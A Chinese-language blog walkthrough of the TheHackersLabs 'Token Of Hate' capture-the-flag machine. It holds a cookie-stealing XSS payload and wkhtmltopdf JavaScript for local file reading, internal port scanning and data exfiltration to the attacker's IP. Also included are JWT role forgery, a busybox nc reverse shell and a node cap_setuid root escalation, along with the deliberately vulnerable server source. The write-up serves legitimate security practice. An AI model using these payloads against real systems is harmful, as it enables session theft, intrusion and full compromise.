TheHackersLabs-Token Of Hate-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.128 08:00:27:b0:12:bc PCS Systemtechnik GmbH
192.168.60.254 00:50:56:f6:18:1e VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.036 seconds (125.74 hosts/sec). 4 responded
export ip=192.168.60.128
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.128:22
Open 192.168.60.128:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-07 12:48 CST
Initiating ARP Ping Scan at 12:48
Scanning 192.168.60.128 [1 port]
Completed ARP Ping Scan at 12:48, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:48
Completed Parallel DNS resolution of 1 host. at 12:48, 2.08s elapsed
DNS resolution of 1 IPs took 2.08s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:48
Scanning 192.168.60.128 [2 ports]
Discovered open port 80/tcp on 192.168.60.128
Discovered open port 22/tcp on 192.168.60.128
Completed SYN Stealth Scan at 12:48, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.60.128
Host is up, received arp-response (0.00048s latency).
Scanned at 2025-04-07 12:48:16 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:B0:12:BC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.35 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

枚举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.128
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: html,zip,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/logout.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 1054]
/javascript (Status: 301) [Size: 321] [--> http://192.168.60.128/javascript/]
/index.php (Status: 200) [Size: 2952]
/registro.php (Status: 200) [Size: 1089]
Progress: 132920 / 132925 (100.00%)
===============================================================
Finished
===============================================================

Unicode 字符绕过

浏览器访问一下首页

发现可以进行注册,并且用户名可以包含Unicode字符,可以包含表情符号和其他的特殊符号

并且在重要提示中,指明了管理员用户会始终查看新记录

image

然而当我利用表情符号作为用户名进行注册的时候,出现了报错

image

如果使用其他特殊符号例如<这个进行注册包含XSS注入的用户名

虽然可以注册成功,不过在进行登录的时候会进行校验,提示用户名包含禁止使用的HTML字符

在源代码中也写明了注释,即在登录时不允许包含<>"'&字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ curl $ip/login.php
……………………省略………………
<script>
// Validación en el cliente para evitar caracteres HTML prohibidos
function validarUsername() {
var username = document.getElementById("username").value;
var regex = /[<>"'&]/;
if (regex.test(username)) {
alert("El nombre de usuario contiene caracteres HTML prohibidos.");
return false;
}
return true;
}
</script>

虽然无法成功登录,但是成功注册,既然可以成功注册那管理员就会查看新记录并执行这个xss

我们可以使用英文状态下的全角字符<>""'',这样系统会自动将unicode编码转为等效的ASCII

image

即可执行我们注入的XSS

用以下payload

<script>document.location='http://192.168.60.100:8000/abc?c='+document.cookie</script>

同时利用python开启简易的http服务

可以拿到admin管理员的Cookie

1
2
3
4
5
6
❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.60.128 - - [07/Apr/2025 15:45:22] code 404, message File not found
192.168.60.128 - - [07/Apr/2025 15:45:22] "GET /abc?c=PHPSESSID=g5rqs08su64hkbv3l7e3licmf9 HTTP/1.1" 404 -
192.168.60.128 - - [07/Apr/2025 15:45:22] code 404, message File not found
192.168.60.128 - - [07/Apr/2025 15:45:22] "GET /favicon.ico HTTP/1.1" 404 -

我们尝试利用已知账户登录,修改cookie,权限变为admin

在此页面中列出用户列表

image

不过由于我插入的XSS语句是会跳转到另一个地址的,所以通过查看源代码的方式查看id,删除此用户即可

不然每次访问都会跳转,导致XSS下面的内容不会加载显示

其实从源码中也能看出来下面的内容是跳转到getPdf.php

image

1
❯ curl -H "Cookie: PHPSESSID=g5rqs08su64hkbv3l7e3licmf9" -d "id=61" -X POST http://192.168.60.128/eliminar_usuario.php

这里或者你可以利用

<script src=“http://192.168.60.100:8000/script.js“></script>

引用自己的script.js文件

同时在文件内写入,利用js来请求我们的地址同时附上Cookie

1
2
# script.js的内容
echo x=new XMLHttpRequest;x.open("GET","http://192.168.60.100:8000?cookie="+btoa(document.cookie));x.send(); > script.js

这样就不会在打开管理员页面的时候直接跳转了


LFI 本地文件包含

下载用户列表的pdf文件

image

尝试curl将文件保存下来

发现是由wkhtmltopdf 0.12.6创建的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ curl -H "Cookie: PHPSESSID=9ono9nics51qvb5315u41qcljc" http://192.168.60.128/getPdf.php -o output.pdf -s
❯ exiftool output.pdf
ExifTool Version Number : 13.10
File Name : output.pdf
Directory : .
File Size : 19 kB
File Modification Date/Time : 2025:04:07 18:59:30+08:00
File Access Date/Time : 2025:04:07 18:59:24+08:00
File Inode Change Date/Time : 2025:04:07 18:59:30+08:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title :
Creator : wkhtmltopdf 0.12.6
Producer : Qt 5.15.8
Create Date : 2025:04:07 12:59:27+02:00
Page Count : 1

此版本中包含本地文件包含漏洞

image

并且在生成pdf的同时,wkhtmltopdf 还会根据内容,调用javascript代码,去访问我们的kali

我每curl一次,都会访问一次,不过wkhtmltopdf 访问的时候是不带Cookie

1
2
3
4
5
6
7
❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.60.128 - - [07/Apr/2025 19:05:43] "GET /script.js HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 19:05:43] "GET /?cookie= HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 19:05:51] "GET /script.js HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 19:05:51] "GET /?cookie= HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 19:05:52] "GET /script.js HTTP/1.1" 304 -

既然它可以访问远程文件,那也就可以访问本地文件了

通过Javascript尝试利用file://协议读取本地的敏感文件

修改一下script.js

1
2
3
4
5
6
var x = new XMLHttpRequest();
x.open("GET", "file:///etc/passwd");
x.onload = function () {
document.body.innerHTML = "<pre>" + x.responseText + "</pre>";
};
x.send();

这样再次curl一下

1
❯ curl -H "Cookie: PHPSESSID=9ono9nics51qvb5315u41qcljc" http://192.168.60.128/getPdf.php -o output.pdf -s

尝试打开pdf文件

发现可以成功读取

得到用户ctesias

image

那我们尝试读取一下index.php网页源代码

1
2
3
4
5
6
var x = new XMLHttpRequest();
x.open("GET", "file:///var/www/html/index.php");
x.onload = function () {
document.body.innerHTML = "<pre>" + x.responseText + "</pre>";
};
x.send();

在源代码中有定义了用户凭证

image

获得这些凭证,除此之外并没其他信息了

我们将其转为可以读的ASCII字符

1
2
3
4
5
6
7
8
[
['admin', 'dUnAyw92B7qD4OVIqWXd', 'admin'],
['Lukasz', 'dQnwTCpdCUGGqBQXedLd', 'user'],
['Thor', 'EYNlxMUjTbEDbNWSvwvQ', 'user'],
['AEgir', 'DXwgeMuQBAtCWPPQpJtv', 'user'],
['Cetin', 'FuLqqEAErWQsmTQQQhsb', 'user'],
['Jose', 'FuLqqEAErWQsmTQQQhsb', 'user']
]

SSRF 本地端口探测

既然wkhtmltopdf 可以执行我们编写的Javascript代码,那么可以尝试测试一下本地开放哪些端口

seclists中包含常见的端口的字典

1
2
cat /usr/share/wordlists/seclists/Discovery/Infrastructure/common-http-ports.txt |tr '\n' ','
66,80,81,443,445,457,1080,1100,1241,1352,1433,1434,1521,1944,2301,3000,3128,3306,4000,4001,4002,4100,5000,5432,5800,5801,5802,6346,6347,7001,7002,8000,8080,8443,8888,30821,%

然后利用JavaScript探测本地端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const ports=[66,80,81,443,445,457,1080,1100,1241,1352,1433,1434,1521,1944,2301,3000,3128,3306,4000,4001,4002,4100,5000,5432,5800,5801,5802,6346,6347,7001,7002,8000,8080,8443,8888,30821];
function handleLoad(x,p) {
let y=new XMLHttpRequest();
y.open("GET",`http://192.168.60.100:8000/ping?port=${p}`);
y.send();
}
ports.forEach( (p,i) =>
setTimeout( () => {
let x=new XMLHttpRequest();
x.open("GET",`http://localhost:${p}`);
x.timeout=300;
x.onload=()=>handleLoad(x,p);x.send();
}, i*10)
);

同时在python服务中获取到了本地开放3000端口

1
2
3
4
5
192.168.60.128 - - [07/Apr/2025 19:34:35] "GET /script.js HTTP/1.1" 304 -
192.168.60.128 - - [07/Apr/2025 19:34:35] code 404, message File not found
192.168.60.128 - - [07/Apr/2025 19:34:35] "GET /ping?port=80 HTTP/1.1" 404 -
192.168.60.128 - - [07/Apr/2025 19:34:35] code 404, message File not found
192.168.60.128 - - [07/Apr/2025 19:34:35] "GET /ping?port=3000 HTTP/1.1" 404 -

以此类推,利用上方的js代码读取3000端口的内容

不过利用document.body.innerHTML此方法进行读取的文件会显示不全,大概是因为内容太长了

所以需要修改为 document.write("<div>" + x.responseText + "</div>");

完整的如下

1
2
3
4
5
6
var x = new XMLHttpRequest();
x.open("GET", "http://localhost:3000");
x.onload = function () {
document.write("<div>" + x.responseText + "</div>");
};
x.send();

再次curl一下,就获得了3000端口中的内容

发现返回的数据是json格式的

image

并且给出了api名称为API与JWT命令(CTF)并且在描述中指明了漏洞API 用于使用 JWT 进行身份验证和执行命令。在这个挑战中,令牌的验证存在漏洞,允许修改参数 "role" 以获取对 /command 的访问权限(仅限管理员角色)。

我们拷打GPT让他利用json数据整理出表格

接口路径(Endpoint) 方法(Method) 功能说明
/ GET 显示 API 的信息以及可用接口的说明。
/login POST 用于用户登录。请求体为 JSON 格式,需包含 usernamepassword。若登录成功,将返回一个 JWT 令牌。 示例: { "username": "jose", "password": "FuLqqEAErWQsmTQQQhsb" }
/command POST 供拥有 admin 权限的已认证用户执行系统命令。请求体为 JSON 格式,需包含 commandtoken 字段,或将 token 放在请求头的 Authorization 中。 示例:

所以我们可以尝试利用上方获得的用户凭证表,来爆破哪个用户可用

妈蛋让GPT还不给生成,还是Deepseek好用😅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const credentials = [ 
['admin', 'dUnAyw92B7qD4OVIqWXd', 'admin'],
['Lukasz', 'dQnwTCpdCUGGqBQXedLd', 'user'],
['Thor', 'EYNlxMUjTbEDbNWSvwvQ', 'user'],
['AEgir', 'DXwgeMuQBAtCWPPQpJtv', 'user'],
['Cetin', 'FuLqqEAErWQsmTQQQhsb', 'user'],
['Jose', 'FuLqqEAErWQsmTQQQhsb', 'user']
];

credentials.forEach(([username, password]) => {
fetch("http://localhost:3000/login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ username, password })
})
.then(res => res.text()
.then(text => ({
status: res.status,
text: text
}))
)
.then(({ status, text }) => {
// 构造外传URL
const encodedResponse = btoa(text);
new Image().src = `http://192.168.60.100:8000/?` +
`username=${encodeURIComponent(username)}&` +
`status=${status}&` +
`response=${encodeURIComponent(encodedResponse)}`;
})
.catch(err => {
// 捕获网络错误
const errorData = btoa(err.message);
new Image().src = `http://192.168.60.100:8000/?` +
`username=${encodeURIComponent(username)}&` +
`error=${encodeURIComponent(errorData)}`;
});
});

用python监听一下8000端口

可用发现Jose用户返回值为200

1
2
3
4
5
6
192.168.60.128 - - [07/Apr/2025 20:09:00] "GET /?username=admin&status=401&response=eyJtZXNzYWdlIjoiVXN1YXJpbyBvIGNvbnRyYXNl8WEgaW5jb3JyZWN0b3MifQ%3D%3D HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 20:09:00] "GET /?username=Jose&status=200&response=eyJtZXNzYWdlIjoiTG9naW4gY29ycmVjdG8iLCJ0b2tlbiI6ImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUoxYzJWeWJtRnRaU0k2SWtwdmMyVWlMQ0p5YjJ4bElqb2lkWE5sY2lJc0ltbGhkQ0k2TVRjME5EQXlOemN6Tnl3aVpYaHdJam94TnpRME1ETXhNek0zZlEuWGlEUUctRW44b0ZucDlTV0MxNlVkc1poUDlndHFvUzVpdWdLcmRWOGY0WSJ9 HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 20:09:00] "GET /?username=Cetin&status=401&response=eyJtZXNzYWdlIjoiVXN1YXJpbyBvIGNvbnRyYXNl8WEgaW5jb3JyZWN0b3MifQ%3D%3D HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 20:09:00] "GET /?username=AEgir&status=401&response=eyJtZXNzYWdlIjoiVXN1YXJpbyBvIGNvbnRyYXNl8WEgaW5jb3JyZWN0b3MifQ%3D%3D HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 20:09:00] "GET /?username=Thor&status=401&response=eyJtZXNzYWdlIjoiVXN1YXJpbyBvIGNvbnRyYXNl8WEgaW5jb3JyZWN0b3MifQ%3D%3D HTTP/1.1" 200 -
192.168.60.128 - - [07/Apr/2025 20:09:00] "GET /?username=Lukasz&status=401&response=eyJtZXNzYWdlIjoiVXN1YXJpbyBvIGNvbnRyYXNl8WEgaW5jb3JyZWN0b3MifQ%3D%3D HTTP/1.1" 200 -

JWT 伪造

解码一下发现是jwt编码

image

我们尝试将role角色改为admin重新发送

image

我尝试利用john爆破jwt secret key,没爆出来,估计就是默认secret

我们根据上方的API手册,向/command发送POST请求

只要如法炮制即可

1
2
3
4
5
6
7
8
9
10
11
12
13
var x = new XMLHttpRequest();
x.open("POST", "http://localhost:3000/command");
x.setRequestHeader("Content-Type", "application/json"); // 设置请求头,表示发送 JSON 数据
const data = {
"command": "id;whoami;hostname -I",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDQwMjc3MzcsImV4cCI6MTc0NDAzMTMzN30.5faMmXabk7-4GMy7AkFPBsMMCpnTul1W5YtvwalrxeQ"
};

x.send(JSON.stringify(data));
x.onload = function () {
document.write("<div>" + x.responseText + "</div>");
};
x.send();

再次curl请求一下,查看pdf文件内容

发现token是有效的,并且基于用户ctesias

image

用户提权

所以尝试反弹shell到kali

修改commandbusybox nc 192.168.60.100 4444 -e /bin/bash

顺便用一下群友安利的自动化升级tty的工具

监听端口

结果这玩意,管理员没几秒就会访问一次,我就会收到好几个会话session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from TheHackersLabs-TokenOfHate-192.168.60.128-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/TheHackersLabs-TokenOfHate~192.168.60.128_Linux_x86_64/2025_04_07-20_33_00-771.log 📜
───────────────────────────────────────────────────────────────────────────
[+] Got reverse shell from TheHackersLabs-TokenOfHate-192.168.60.128-Linux-x86_64 😍️ Assigned SessionID <2>
[+] Got reverse shell from TheHackersLabs-TokenOfHate-192.168.60.128-Linux-x86_64 😍️ Assigned SessionID <3>
[+] Got reverse shell from TheHackersLabs-TokenOfHate-192.168.60.128-Linux-x86_64 😍️ Assigned SessionID <4>
[+] Got reverse shell from TheHackersLabs-TokenOfHate-192.168.60.128-Linux-x86_64 😍️ Assigned SessionID <5>
ctesias@TheHackersLabs-TokenOfHate:/$

我修改一下script.js

尝试信息收集,先读个user

1
2
3
4
5
ctesias@TheHackersLabs-TokenOfHate:/$ cd ~
ctesias@TheHackersLabs-TokenOfHate:~$ ls
admin-usr-demo user.txt
ctesias@TheHackersLabs-TokenOfHate:~$ cat user.txt
98f2b2e68938801b0321b8cc7a9641a3

看了一下项目的node.js源码,发现jwt的密钥很长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
ctesias@TheHackersLabs-TokenOfHate:~/admin-usr-demo$ cat admin-server.js
const express = require('express');
const cors = require('cors');
const bodyParser = require('body-parser');
const { exec } = require('child_process');
const jwt = require('jsonwebtoken');

const app = express();

app.use(cors({
origin: '*',
credentials: true
}));

app.use(bodyParser.json());

const jwtSecret = 'unSecretoMuySecreto123!@#'; // Clave secreta para firmar el token

// Middleware con validación intencionalmente vulnerable
function authenticateToken(req, res, next) {
let token;
// Se busca el token en la cabecera Authorization o en el cuerpo de la petición
const authHeader = req.headers['authorization'];
if (authHeader && authHeader.startsWith('Bearer ')) {
token = authHeader.split(' ')[1];
} else if (req.body && req.body.token) {
token = req.body.token;
}

if (!token) {
return res.status(401).json({ message: 'Token no provisto' });
}

// IMPORTANTE:
// Se utiliza jwt.decode en lugar de jwt.verify, por lo que no se valida la firma del token.
const decoded = jwt.decode(token);
if (!decoded) {
return res.status(403).json({ message: 'Token inválido' });
}
req.user = decoded;
next();
}

// Información de la API con detalle de los endpoints disponibles
const apiInfo = {
name: 'API de Comandos con JWT (CTF)',
version: '1.2.0',
description: 'API para autenticación y ejecución de comandos utilizando JWT. En este reto, la validación del token es vulnerable y permite modificar el parámetro "role" para obtener acceso a /command (solo para rol admin).',
endpoints: {
"/": {
method: "GET",
description: "Muestra la información de la API y la descripción de los endpoints disponibles."
},
"/login": {
method: "POST",
description: "Permite iniciar sesión. Se espera un body en formato JSON con 'username' y 'password'. Si el login es correcto, se retorna un token JWT. Ejemplo: { \"username\": \"jose\", \"password\": \"FuLqqEAErWQsmTQQQhsb\" }"
},
"/command": {
method: "POST",
description: "Ejecuta un comando del sistema para usuarios autenticados con rol admin. Se espera un body en formato JSON con 'command' y 'token' o enviando el token en la cabecera 'Authorization'. Ejemplo: { \"command\": \"ls -la\", \"token\": \"token_jwt\" }"
}
}
};

app.options('*', (req, res) => {
res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.send();
});

// Endpoint raíz que muestra la información de la API
app.get('/', (req, res) => {
res.json(apiInfo);
});

// Credenciales válidas para el usuario jose
const validUsername = 'Jose';
const validPassword = 'FuLqqEAErWQsmTQQQhsb';
const validRole = 'user';

// Endpoint para login
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === validUsername && password === validPassword) {
// Crear token JWT con expiración de 1 hora, incluyendo el rol del usuario
const token = jwt.sign({ username: username, role: validRole }, jwtSecret, { expiresIn: '1h' });
res.json({ message: 'Login correcto', token });
} else {
res.status(401).json({ message: 'Usuario o contraseña incorrectos' });
}
});

// Endpoint para ejecutar comando, protegido por JWT y accesible solo para rol admin
app.post('/command', authenticateToken, (req, res) => {
// Verificar que el rol del usuario sea admin
if (req.user.role !== 'admin') {
return res.status(403).json({ message: 'Acceso no autorizado, solo admin puede ejecutar comandos' });
}

const { command } = req.body;

// Advertencia: ejecutar comandos basados en entrada del usuario puede ser peligroso.
// Se recomienda sanitizar la entrada y limitar los comandos permitidos.
exec(command, (error, stdout, stderr) => {
if (error) {
return res.status(500).json({ error: error.message });
}
if (stderr) {
return res.status(500).json({ stderr });
}
res.json({ stdout });
});
});

// El servidor escucha en el puerto 3000 y en localhost
app.listen(3000, '127.0.0.1', () => {
console.log('Servidor iniciado en el puerto 3000, accesible únicamente desde localhost');
});

哦,我知道为什么jwtsecret key可以任意了,原来注释里面写了

代码中使用jwt.decode而不是jwt.verify,因此不验证令牌的签名,跳过签名验证了

Root提权

好了,回到整正题,发现有个奇怪的程序拥有cap_setuid=ep的能力

1
2
3
4
5
6
7
8
ctesias@TheHackersLabs-TokenOfHate:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/yournode cap_setuid=ep
ctesias@TheHackersLabs-TokenOfHate:~$ /usr/bin/yournode
Welcome to Node.js v18.19.0.
Type ".help" for more information.
>

很明显,就是node.js,只不过改了个名字

那后面就简单了,正常提权即可

node | GTFOBins

1
2
3
4
5
6
ctesias@TheHackersLabs-TokenOfHate:~$ /usr/bin/yournode -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# bash
root@TheHackersLabs-TokenOfHate:~# id
uid=0(root) gid=1000(ctesias) grupos=1000(ctesias),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
root@TheHackersLabs-TokenOfHate:~# cat /root/root.txt
b62bd6b379d86e293f673dab0a59512d

后记

总的来说,挺有意思的,不过Lenam作者的靶机都很有自己的风格,这个靶机有点像YincanaSolar两者结合

一个是wkhtmltopdf漏洞利用的点,还一个是内部端口探测的,基本上都是通过JavaScript外传信息从而获取立足点

Vulnyx-Yincana-Walkthrough | Pepster’Blog

Vulnyx-Solar-Walkthrough | Pepster’Blog

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 485.2k